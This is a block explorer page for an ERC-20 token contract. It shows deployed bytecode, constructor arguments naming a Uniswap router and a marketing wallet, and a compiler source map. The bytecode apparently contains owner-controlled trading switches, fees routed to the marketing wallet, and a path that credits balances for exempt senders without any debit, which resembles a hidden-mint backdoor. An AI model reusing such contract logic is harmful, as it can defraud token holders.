80832093909416825291909152205490565b34801561047d57600080fd5b5061033561048c3660046112f0565b61090c565b6060600380546104a09061134d565b80601f01602080910402602001604051908101604052809291908181526020018280546104cc9061134d565b80156105195780601f106104ee57610100808354040283529160200191610519565b820191906000526020600020905b8154815290600101906020018083116104fc57829003601f168201915b5050505050905090565b60006105303384846109f4565b5060015b92915050565b6000610547848484610b18565b6001600160a01b038416600090815260016020908152604080832033845290915290205460001981146105e757828110156105da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105e785338584036109f4565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161053091859061062990869061139d565b6109f4565b6005546001600160a01b031633146106585760405162461bcd60e51b81526004016105d1906113b0565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146106cc5760405162461bcd60e51b81526004016105d1906113b0565b6006805460ff60b01b19169055565b6005546001600160a01b031633146107055760405162461bcd60e51b81526004016105d1906113b0565b600754156107555760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016105d1565b6006805460ff60b01b191690556001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663f305d71947306107b2816001600160a01b031660009081526020819052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610816573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083b91906113e7565b505042600755506006805460ff60b01b1916600160b01b179055565b6060600480546104a09061134d565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156108e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105d1565b6108f533858584036109f4565b5060019392505050565b6000610530338484610b18565b6005546001600160a01b031633146109365760405162461bcd60e51b81526004016105d1906113b0565b6001600160a01b0381166109985760405162461bcd60e51b815260206004820152602360248201527f417574683a206e6577206f776e657220697320746865207a65726f206164647260448201526265737360e81b60648201526084016105d1565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d1565b6001600160a01b038216610ab75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3e5760405162461bcd60e51b81526004016105d190611415565b6001600160a01b038216610b645760405162461bcd60e51b81526004016105d19061145a565b60008111610bb45760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016105d1565b600754158015908190610be057506001600160a01b03841660009081526008602052604090205460ff16155b8015610c0557506001600160a01b03831660009081526008602052604090205460ff16155b15610d8657600654600160b01b900460ff1615610c80576014610c2760025490565b610c31919061149d565b821115610c805760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d697420657863656564656400000000000000000060448201526064016105d1565b600654600090600160a81b900460ff168015610ca65750600654600160a01b900460ff16155b15610cd7576006805460ff60a01b1916600160a01b179055610cc9858583610dd0565b6006805460ff60a01b191690555b6001600160a01b03841660009081526009602052604090205460ff168015610cff5750600081115b15610d21576064610d1082856114bf565b610d1a919061149d565b9050610d67565b600081118015610d4957506001600160a01b03851660009081526009602052604090205460ff165b15610d67576064610d5a82856114bf565b610d64919061149d565b90505b8015610d7857610d78853083611068565b610d8281846114d6565b9250505b808015610dab57506001600160a01b03841660009081526008602052604090205460ff165b15610dbf57610dba83836111bd565b610dca565b610dca848484611068565b50505050565b8015610f6a57306000908152602081815260408083205481516002808252606082018452919493909290830190803683370190505090503081600081518110610e1b57610e1b6114e9565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd91906114ff565b81600181518110610ed057610ed06114e9565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac94790610f3590859060009086903090429060040161151c565b600060405180830381600087803b158015610f4f57600080fd5b505af1158015610f63573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606085811b8216602084015284901b1660348201526000906001600160a01b037f0000000000000000000000009e45fc7e2f3a303fa59da503cdd96c8d2aed9fe71690479060480160408051601f1981840301815290829052610fdd9161158d565b60006040518083038185875af1925050503d806000811461101a576040519150601f19603f3d011682016040523d82523d6000602084013e61101f565b606091505b50508091505080610dca5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b60448201526064016105d1565b6001600160a01b03831661108e5760405162461bcd60e51b81526004016105d190611415565b6001600160a01b0382166110b45760405162461bcd60e51b81526004016105d19061145a565b6001600160a01b0383166000908152602081905260409020548181101561112c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105d1565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061116390849061139d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111af91815260200190565b60405180910390a350505050565b6001600160a01b0382166111e35760405162461bcd60e51b81526004016105d19061145a565b6001600160a01b0382166000908152602081905260408120805483929061120b90849061139d565b90915550505050565b60005b8381101561122f578181015183820152602001611217565b50506000910152565b6020815260008251806020840152611257816040850160208701611214565b601f01601f19169190910160400192915050565b6001600160a01b038116811461128057600080fd5b50565b6000806040838503121561129657600080fd5b82356112a18161126b565b946020939093013593505050565b6000806000606084860312156112c457600080fd5b83356112cf8161126b565b925060208401356112df8161126b565b929592945050506040919091013590565b60006020828403121561130257600080fd5b813561130d8161126b565b9392505050565b6000806040838503121561132757600080fd5b82356113328161126b565b915060208301356113428161126b565b809150509250929050565b600181811c9082168061136157607f821691505b60208210810361138157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561053457610534611387565b6020808252601d908201527f417574683a2063616c6c6572206973206e6f7420746865206f776e6572000000604082015260600190565b6000806000606084860312156113fc57600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000826114ba57634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761053457610534611387565b8181038181111561053457610534611387565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151157600080fd5b815161130d8161126b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156c5784516001600160a01b031683529383019391830191600101611547565b50506001600160a01b03969096166060850152505050608001529392505050565b6000825161159f818460208701611214565b919091019291505056fea2646970667358221220da9876cf35abc5e9af0a61556a43dce606d2993b9e45e8ed20e4635c1052654864736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009e45fc7e2f3a303fa59da503cdd96c8d2aed9fe7

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : marketing_ (address): 0x9e45Fc7E2f3A303FA59DA503Cdd96C8D2aed9Fe7

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000009e45fc7e2f3a303fa59da503cdd96c8d2aed9fe7


Deployed Bytecode Sourcemap

9858:4133:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4082:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5137:210;;;;;;;;;;-1:-1:-1;5137:210:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;5137:210:0;1126:187:1;9994:40:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1497:32:1;;;1479:51;;1467:2;1452:18;9994:40:0;1318:218:1;4403:108:0;;;;;;;;;;-1:-1:-1;4491:12:0;;4403:108;;;1687:25:1;;;1675:2;1660:18;4403:108:0;1541:177:1;5355:620:0;;;;;;;;;;-1:-1:-1;5355:620:0;;;;;:::i;:::-;;:::i;11197:84::-;;;;;;;;;;-1:-1:-1;11197:84:0;;11272:1;2326:36:1;;2314:2;2299:18;11197:84:0;2184:184:1;5983:297:0;;;;;;;;;;-1:-1:-1;5983:297:0;;;;;:::i;:::-;;:::i;10195:27::-;;;;;;;;;;-1:-1:-1;10195:27:0;;;;-1:-1:-1;;;10195:27:0;;;;;;10231:32;;;;;;;;;;;;;;;;10041:28;;;;;;;;;;-1:-1:-1;10041:28:0;;;;-1:-1:-1;;;;;10041:28:0;;;10158:30;;;;;;;;;;-1:-1:-1;10158:30:0;;;;-1:-1:-1;;;10158:30:0;;;;;;11289:119;;;;;;;;;;-1:-1:-1;11289:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;11382:18:0;11355:7;11382:18;;;;;;;;;;;;11289:119;9417:148;;;;;;;;;;;;;:::i;:::-;;13908:80;;;;;;;;;;;;;:::i;13526:374::-;;;:::i;9206:79::-;;;;;;;;;;-1:-1:-1;9271:6:0;;-1:-1:-1;;;;;9271:6:0;9206:79;;4190:104;;;;;;;;;;;;;:::i;6288:482::-;;;;;;;;;;-1:-1:-1;6288:482:0;;;;;:::i;:::-;;:::i;10078:41::-;;;;;;;;;;;;;;;4704:216;;;;;;;;;;-1:-1:-1;4704:216:0;;;;;:::i;:::-;;:::i;10331:47::-;;;;;;;;;;-1:-1:-1;10331:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4928:201;;;;;;;;;;-1:-1:-1;4928:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5094:18:0;;;5062:7;5094:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4928:201;9573:278;;;;;;;;;;-1:-1:-1;9573:278:0;;;;;:::i;:::-;;:::i;4082:100::-;4136:13;4169:5;4162:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4082:100;:::o;5137:210::-;5256:4;5278:39;3414:10;5301:7;5310:6;5278:8;:39::i;:::-;-1:-1:-1;5335:4:0;5137:210;;;;;:::o;5355:620::-;5495:4;5512:36;5522:6;5530:9;5541:6;5512:9;:36::i;:::-;-1:-1:-1;;;;;5588:19:0;;5561:24;5588:19;;;:11;:19;;;;;;;;3414:10;5588:33;;;;;;;;-1:-1:-1;;5635:37:0;;5632:314;;5736:6;5716:16;:26;;5690:128;;;;-1:-1:-1;;;5690:128:0;;3813:2:1;5690:128:0;;;3795:21:1;3852:2;3832:18;;;3825:30;3891:34;3871:18;;;3864:62;-1:-1:-1;;;3942:18:1;;;3935:38;3990:19;;5690:128:0;;;;;;;;;5862:57;5871:6;3414:10;5912:6;5893:16;:25;5862:8;:57::i;:::-;-1:-1:-1;5963:4:0;;5355:620;-1:-1:-1;;;;5355:620:0:o;5983:297::-;3414:10;6098:4;6192:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6192:34:0;;;;;;;;;;6098:4;;6120:130;;6170:7;;6192:47;;6229:10;;6192:47;:::i;:::-;6120:8;:130::i;9417:148::-;9333:6;;-1:-1:-1;;;;;9333:6:0;3414:10;9333:22;9325:64;;;;-1:-1:-1;;;9325:64:0;;;;;;;:::i;:::-;9508:6:::1;::::0;9487:40:::1;::::0;9524:1:::1;::::0;-1:-1:-1;;;;;9508:6:0::1;::::0;9487:40:::1;::::0;9524:1;;9487:40:::1;9538:6;:19:::0;;-1:-1:-1;;;;;;9538:19:0::1;::::0;;9417:148::o;13908:80::-;9333:6;;-1:-1:-1;;;;;9333:6:0;3414:10;9333:22;9325:64;;;;-1:-1:-1;;;9325:64:0;;;;;;;:::i;:::-;13964:8:::1;:16:::0;;-1:-1:-1;;;;13964:16:0::1;::::0;;13908:80::o;13526:374::-;9333:6;;-1:-1:-1;;;;;9333:6:0;3414:10;9333:22;9325:64;;;;-1:-1:-1;;;9325:64:0;;;;;;;:::i;:::-;13597:17:::1;::::0;:22;13589:61:::1;;;::::0;-1:-1:-1;;;13589:61:0;;4842:2:1;13589:61:0::1;::::0;::::1;4824:21:1::0;4881:2;4861:18;;;4854:30;4920:28;4900:18;;;4893:56;4966:18;;13589:61:0::1;4640:350:1::0;13589:61:0::1;13661:8;:16:::0;;-1:-1:-1;;;;13661:16:0::1;::::0;;-1:-1:-1;;;;;13688:15:0::1;:31;;13727:21;13758:4;13764:24;13758:4:::0;-1:-1:-1;;;;;11382:18:0;11355:7;11382:18;;;;;;;;;;;;11289:119;13764:24:::1;13688:132;::::0;-1:-1:-1;;;;;;13688:132:0::1;::::0;;;;;;-1:-1:-1;;;;;5354:15:1;;;13688:132:0::1;::::0;::::1;5336:34:1::0;5386:18;;;5379:34;13789:1:0::1;5429:18:1::0;;;5422:34;;;5472:18;;;5465:34;13793:10:0::1;5515:19:1::0;;;5508:44;13804:15:0::1;5568:19:1::0;;;5561:35;5270:19;;13688:132:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13851:15:0::1;13831:17;:35:::0;-1:-1:-1;13877:8:0::1;:15:::0;;-1:-1:-1;;;;13877:15:0::1;-1:-1:-1::0;;;13877:15:0::1;::::0;;13526:374::o;4190:104::-;4246:13;4279:7;4272:14;;;;;:::i;6288:482::-;3414:10;6408:4;6457:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6457:34:0;;;;;;;;;;6524:35;;;;6502:122;;;;-1:-1:-1;;;6502:122:0;;6120:2:1;6502:122:0;;;6102:21:1;6159:2;6139:18;;;6132:30;6198:34;6178:18;;;6171:62;-1:-1:-1;;;6249:18:1;;;6242:35;6294:19;;6502:122:0;5918:401:1;6502:122:0;6660:67;3414:10;6683:7;6711:15;6692:16;:34;6660:8;:67::i;:::-;-1:-1:-1;6758:4:0;;6288:482;-1:-1:-1;;;6288:482:0:o;4704:216::-;4826:4;4848:42;3414:10;4872:9;4883:6;4848:9;:42::i;9573:278::-;9333:6;;-1:-1:-1;;;;;9333:6:0;3414:10;9333:22;9325:64;;;;-1:-1:-1;;;9325:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9676:22:0;::::1;9654:107;;;::::0;-1:-1:-1;;;9654:107:0;;6526:2:1;9654:107:0::1;::::0;::::1;6508:21:1::0;6565:2;6545:18;;;6538:30;6604:34;6584:18;;;6577:62;-1:-1:-1;;;6655:18:1;;;6648:33;6698:19;;9654:107:0::1;6324:399:1::0;9654:107:0::1;9798:6;::::0;9777:38:::1;::::0;-1:-1:-1;;;;;9777:38:0;;::::1;::::0;9798:6:::1;::::0;9777:38:::1;::::0;9798:6:::1;::::0;9777:38:::1;9826:6;:17:::0;;-1:-1:-1;;;;;;9826:17:0::1;-1:-1:-1::0;;;;;9826:17:0;;;::::1;::::0;;;::::1;::::0;;9573:278::o;7672:380::-;-1:-1:-1;;;;;7808:19:0;;7800:68;;;;-1:-1:-1;;;7800:68:0;;6930:2:1;7800:68:0;;;6912:21:1;6969:2;6949:18;;;6942:30;7008:34;6988:18;;;6981:62;-1:-1:-1;;;7059:18:1;;;7052:34;7103:19;;7800:68:0;6728:400:1;7800:68:0;-1:-1:-1;;;;;7887:21:0;;7879:68;;;;-1:-1:-1;;;7879:68:0;;7335:2:1;7879:68:0;;;7317:21:1;7374:2;7354:18;;;7347:30;7413:34;7393:18;;;7386:62;-1:-1:-1;;;7464:18:1;;;7457:32;7506:19;;7879:68:0;7133:398:1;7879:68:0;-1:-1:-1;;;;;7960:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8012:32;;1687:25:1;;;8012:32:0;;1660:18:1;8012:32:0;;;;;;;7672:380;;;:::o;11416:1388::-;-1:-1:-1;;;;;11548:18:0;;11540:68;;;;-1:-1:-1;;;11540:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11627:16:0;;11619:64;;;;-1:-1:-1;;;11619:64:0;;;;;;;:::i;:::-;11711:1;11702:6;:10;11694:52;;;;-1:-1:-1;;;11694:52:0;;8548:2:1;11694:52:0;;;8530:21:1;8587:2;8567:18;;;8560:30;8626:31;8606:18;;;8599:59;8675:18;;11694:52:0;8346:353:1;11694:52:0;11781:17;;:21;;;;;;11819:46;;-1:-1:-1;;;;;;11840:25:0;;;;;;:19;:25;;;;;;;;11839:26;11819:46;:74;;;;-1:-1:-1;;;;;;11870:23:0;;;;;;:19;:23;;;;;;;;11869:24;11819:74;11815:801;;;11914:8;;-1:-1:-1;;;11914:8:0;;;;11910:113;;;11977:2;11961:13;4491:12;;;4403:108;11961:13;:18;;;;:::i;:::-;11951:6;:28;;11943:64;;;;-1:-1:-1;;;11943:64:0;;9128:2:1;11943:64:0;;;9110:21:1;9167:2;9147:18;;;9140:30;9206:25;9186:18;;;9179:53;9249:18;;11943:64:0;8926:347:1;11943:64:0;12074:11;;12039:12;;-1:-1:-1;;;12074:11:0;;;;:26;;;;-1:-1:-1;12090:10:0;;-1:-1:-1;;;12090:10:0;;;;12089:11;12074:26;12070:166;;;12121:10;:17;;-1:-1:-1;;;;12121:17:0;-1:-1:-1;;;12121:17:0;;;12157:26;12168:4;12174:2;12178:4;12157:10;:26::i;:::-;12202:10;:18;;-1:-1:-1;;;;12202:18:0;;;12070:166;-1:-1:-1;;;;;12254:19:0;;;;;;:15;:19;;;;;;;;:31;;;;;12284:1;12277:4;:8;12254:31;12250:221;;;12331:3;12314:13;12323:4;12314:6;:13;:::i;:::-;12313:21;;;;:::i;:::-;12306:28;;12250:221;;;12380:1;12373:4;:8;:33;;;;-1:-1:-1;;;;;;12385:21:0;;;;;;:15;:21;;;;;;;;12373:33;12369:102;;;12452:3;12435:13;12444:4;12435:6;:13;:::i;:::-;12434:21;;;;:::i;:::-;12427:28;;12369:102;12489:8;;12485:91;;12518:42;12534:4;12548;12555;12518:15;:42::i;:::-;12590:14;12600:4;12590:14;;:::i;:::-;;;11895:721;11815:801;12630:16;:45;;;;-1:-1:-1;;;;;;12650:25:0;;;;;;:19;:25;;;;;;;;12630:45;12626:171;;;12692:27;12708:2;12712:6;12692:15;:27::i;:::-;12626:171;;;12752:33;12768:4;12774:2;12778:6;12752:15;:33::i;:::-;11529:1275;11416:1388;;;:::o;12812:706::-;12894:7;;12890:443;;12957:4;12916:20;11382:18;;;;;;;;;;;;13000:16;;13014:1;13000:16;;;;;;;;11382:18;;12916:20;13000:16;;;;;;11382:18;13000:16;;;;;-1:-1:-1;13000:16:0;12976:40;;13047:4;13029;13034:1;13029:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;13029:23:0;;;-1:-1:-1;;;;;13029:23:0;;;;;13075:15;-1:-1:-1;;;;;13075:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13065:4;13070:1;13065:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13065:32:0;;;:7;;;;;;;;;:32;13112:209;;-1:-1:-1;;;13112:209:0;;:15;:66;;;;;;:209;;13195:12;;13224:1;;13242:4;;13271;;13293:15;;13112:209;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12903:430;;12890:443;13432:26;;-1:-1:-1;;11316:2:1;11312:15;;;11308:24;;13432:26:0;;;11296:37:1;11367:15;;;11363:24;11349:12;;;11342:46;13343:12:0;;-1:-1:-1;;;;;13380:16:0;:21;;13409;;11404:12:1;;13432:26:0;;;-1:-1:-1;;13432:26:0;;;;;;;;;;13380:79;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13366:93;;;;;13479:7;13471:39;;;;-1:-1:-1;;;13471:39:0;;11921:2:1;13471:39:0;;;11903:21:1;11960:2;11940:18;;;11933:30;-1:-1:-1;;;11979:18:1;;;11972:49;12038:18;;13471:39:0;11719:343:1;7013:651:0;-1:-1:-1;;;;;7153:20:0;;7145:70;;;;-1:-1:-1;;;7145:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7234:23:0;;7226:71;;;;-1:-1:-1;;;7226:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7334:17:0;;7310:21;7334:17;;;;;;;;;;;7384:23;;;;7362:111;;;;-1:-1:-1;;;7362:111:0;;12269:2:1;7362:111:0;;;12251:21:1;12308:2;12288:18;;;12281:30;12347:34;12327:18;;;12320:62;-1:-1:-1;;;12398:18:1;;;12391:36;12444:19;;7362:111:0;12067:402:1;7362:111:0;-1:-1:-1;;;;;7509:17:0;;;:9;:17;;;;;;;;;;;7529:22;;;7509:42;;7573:20;;;;;;;;:30;;7545:6;;7509:9;7573:30;;7545:6;;7573:30;:::i;:::-;;;;;;;;7638:9;-1:-1:-1;;;;;7621:35:0;7630:6;-1:-1:-1;;;;;7621:35:0;;7649:6;7621:35;;;;1687:25:1;;1675:2;1660:18;;1541:177;7621:35:0;;;;;;;;7134:530;7013:651;;;:::o;6778:227::-;-1:-1:-1;;;;;6893:23:0;;6885:71;;;;-1:-1:-1;;;6885:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6967:20:0;;:9;:20;;;;;;;;;;:30;;6991:6;;6967:9;:30;;6991:6;;6967:30;:::i;:::-;;;;-1:-1:-1;;;;6778:227:0:o;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;725:70;670:131;:::o;806:315::-;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;1083:32;;-1:-1:-1;;;806:315:1:o;1723:456::-;1800:6;1808;1816;1869:2;1857:9;1848:7;1844:23;1840:32;1837:52;;;1885:1;1882;1875:12;1837:52;1924:9;1911:23;1943:31;1968:5;1943:31;:::i;:::-;1993:5;-1:-1:-1;2050:2:1;2035:18;;2022:32;2063:33;2022:32;2063:33;:::i;:::-;1723:456;;2115:7;;-1:-1:-1;;;2169:2:1;2154:18;;;;2141:32;;1723:456::o;2581:247::-;2640:6;2693:2;2681:9;2672:7;2668:23;2664:32;2661:52;;;2709:1;2706;2699:12;2661:52;2748:9;2735:23;2767:31;2792:5;2767:31;:::i;:::-;2817:5;2581:247;-1:-1:-1;;;2581:247:1:o;2833:388::-;2901:6;2909;2962:2;2950:9;2941:7;2937:23;2933:32;2930:52;;;2978:1;2975;2968:12;2930:52;3017:9;3004:23;3036:31;3061:5;3036:31;:::i;:::-;3086:5;-1:-1:-1;3143:2:1;3128:18;;3115:32;3156:33;3115:32;3156:33;:::i;:::-;3208:7;3198:17;;;2833:388;;;;;:::o;3226:380::-;3305:1;3301:12;;;;3348;;;3369:61;;3423:4;3415:6;3411:17;3401:27;;3369:61;3476:2;3468:6;3465:14;3445:18;3442:38;3439:161;;3522:10;3517:3;3513:20;3510:1;3503:31;3557:4;3554:1;3547:15;3585:4;3582:1;3575:15;3439:161;;3226:380;;;:::o;4020:127::-;4081:10;4076:3;4072:20;4069:1;4062:31;4112:4;4109:1;4102:15;4136:4;4133:1;4126:15;4152:125;4217:9;;;4238:10;;;4235:36;;;4251:18;;:::i;4282:353::-;4484:2;4466:21;;;4523:2;4503:18;;;4496:30;4562:31;4557:2;4542:18;;4535:59;4626:2;4611:18;;4282:353::o;5607:306::-;5695:6;5703;5711;5764:2;5752:9;5743:7;5739:23;5735:32;5732:52;;;5780:1;5777;5770:12;5732:52;5809:9;5803:16;5793:26;;5859:2;5848:9;5844:18;5838:25;5828:35;;5903:2;5892:9;5888:18;5882:25;5872:35;;5607:306;;;;;:::o;7536:401::-;7738:2;7720:21;;;7777:2;7757:18;;;7750:30;7816:34;7811:2;7796:18;;7789:62;-1:-1:-1;;;7882:2:1;7867:18;;7860:35;7927:3;7912:19;;7536:401::o;7942:399::-;8144:2;8126:21;;;8183:2;8163:18;;;8156:30;8222:34;8217:2;8202:18;;8195:62;-1:-1:-1;;;8288:2:1;8273:18;;8266:33;8331:3;8316:19;;7942:399::o;8704:217::-;8744:1;8770;8760:132;;8814:10;8809:3;8805:20;8802:1;8795:31;8849:4;8846:1;8839:15;8877:4;8874:1;8867:15;8760:132;-1:-1:-1;8906:9:1;;8704:217::o;9278:168::-;9351:9;;;9382;;9399:15;;;9393:22;;9379:37;9369:71;;9420:18;;:::i;9451:128::-;9518:9;;;9539:11;;;9536:37;;;9553:18;;:::i;9716:127::-;9777:10;9772:3;9768:20;9765:1;9758:31;9808:4;9805:1;9798:15;9832:4;9829:1;9822:15;9848:251;9918:6;9971:2;9959:9;9950:7;9946:23;9942:32;9939:52;;;9987:1;9984;9977:12;9939:52;10019:9;10013:16;10038:31;10063:5;10038:31;:::i;10104:980::-;10366:4;10414:3;10403:9;10399:19;10445:6;10434:9;10427:25;10471:2;10509:6;10504:2;10493:9;10489:18;10482:34;10552:3;10547:2;10536:9;10532:18;10525:31;10576:6;10611;10605:13;10642:6;10634;10627:22;10680:3;10669:9;10665:19;10658:26;;10719:2;10711:6;10707:15;10693:29;;10740:1;10750:195;10764:6;10761:1;10758:13;10750:195;;;10829:13;;-1:-1:-1;;;;;10825:39:1;10813:52;;10920:15;;;;10885:12;;;;10861:1;10779:9;10750:195;;;-1:-1:-1;;;;;;;11001:32:1;;;;10996:2;10981:18;;10974:60;-1:-1:-1;;;11065:3:1;11050:19;11043:35;10962:3;10104:980;-1:-1:-1;;;10104:980:1:o;11427:287::-;11556:3;11594:6;11588:13;11610:66;11669:6;11664:3;11657:4;11649:6;11645:17;11610:66;:::i;:::-;11692:16;;;;;11427:287;-1:-1:-1;;11427:287:1:o

Swarm Source

ipfs://da9876cf35abc5e9af0a61556a43dce606d2993b9e45e8ed20e4635c10526548
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.